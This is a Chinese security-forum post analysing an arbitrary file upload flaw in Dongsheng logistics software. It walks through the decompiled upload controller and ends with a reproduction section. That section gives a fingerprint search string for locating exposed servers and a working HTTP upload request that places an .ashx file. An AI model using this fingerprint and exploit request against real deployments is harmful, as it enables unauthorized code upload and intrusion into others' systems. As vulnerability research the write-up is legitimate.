奇安信攻防社区-某胜物流 /CommMng/Print/UploadMailFile 任意文件上传分析

某胜物流 /CommMng/Print/UploadMailFile 任意文件上传分析

一、漏洞简介
======

某胜物流 /CommMng/Print/UploadMailFile 任意文件上传分析

二、影响版本
======

d东胜物流软件

三、漏洞原理分析
========

根据路由首先可以看到是mvc框架`PrintController`

![1752148233687.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-5fd0c8654812e6d4aac5430961ae97c44a5b8dc4.jpg)

然后到`UploadMailFile`方法最后文件写入，基本上没有后缀的拦截

![1752148253951.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-5028f4f93ef207408a423241693b56f68b244d72.jpg)

```php
[HttpPost]
        public ContentResult UploadMailFile()
        {
            JsonResponse jsonResponse = new JsonResponse
            {
                Success = false,
                Message = ""
            };
            if (base.Request.Files.Count != 1)
            {
                jsonResponse.Success = false;
                jsonResponse.Message = "请选择上传的文件";
                return new ContentResult
                {
                    Content = JsonConvert.Serialize<JsonResponse>(jsonResponse)
                };
            }
            HttpPostedFileBase httpPostedFileBase = base.Request.Files["LoadFile"];
            if (httpPostedFileBase == null)
            {
                jsonResponse.Success = false;
                jsonResponse.Message = "上传文件发生未知错误，请重新上传";
                return new ContentResult
                {
                    Content = JsonConvert.Serialize<JsonResponse>(jsonResponse)
                };
            }
            string text = base.Server.MapPath("../../UploadFiles/MailFile");
            if (!Directory.Exists(text))
            {
                Directory.CreateDirectory(text);
            }
            int contentLength = httpPostedFileBase.ContentLength;
            string fileName = Path.GetFileName(httpPostedFileBase.FileName);
            string text2 = base.Request.Form["bsno"];
            string cookie_UserCode = CookieConfig.GetCookie_UserCode(base.Request);
            string text3 = string.Concat(new string[]
            {
                text,
                "\\",
                cookie_UserCode,
                DateTime.Now.ToString("yyyyMMddHHmmssfff"),
                fileName
            });
            if (System.IO.File.Exists(text3))
            {
                System.IO.File.Delete(text3);
            }
            httpPostedFileBase.SaveAs(text3);
            if (!System.IO.File.Exists(text3))
            {
                jsonResponse.Success = false;
                jsonResponse.Message = "上传文件出错";
                return new ContentResult
                {
                    Content = JsonConvert.Serialize<JsonResponse>(jsonResponse)
                };
            }
            text3 = Path.GetFileName(text3);
            string data = "../../UploadFiles/MailFile/" + text3;
            ContentResult result;
            try
            {
                string content = JsonConvert.Serialize(new
                {
                    success = true,
                    Message = "上传成功",
                    data = data
                });
                result = new ContentResult
                {
                    Content = content
                };
            }
            catch (Exception)
            {
                jsonResponse.Success = false;
                jsonResponse.Message = "上传文件出错";
                result = new ContentResult
                {
                    Content = JsonConvert.Serialize<JsonResponse>(jsonResponse)
                };
            }
            return result;
        }
```

四、环境搭建（闭源系统可提供网络测绘语法和截图）
========================

指纹--`闭源系统`
----------

```php
body="dhtmlxcombo_whp.js"
```

![1752148282991.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-3a49c4a787de409af33c752096516318600c6716.jpg)

五、漏洞复现
======

### 路由

```php
/CommMng/Print/UploadMailFile 
```

### 文件上传-exp

```php
POST /CommMng/Print/UploadMailFile HTTP/1.1
Host: xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 234

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="LoadFile"; filename="1.ashx"
Content-Type: application/octet-stream

12312

------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

![1752148301277.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-167c31210443cbca0d23e4acdf069ed880f7dddb.jpg)

六、总结
====

某胜物流 /CommMng/Print/UploadMailFile 任意文件上传的mvc路由，然后到`UploadMailFile`方法的无过滤都是上传成功的必要。

发表于 2025-07-24 09:40:20
阅读 ( 285 )
分类：Web应用

某胜物流 /CommMng/Print/UploadMailFile 任意文件上传分析

0 条评论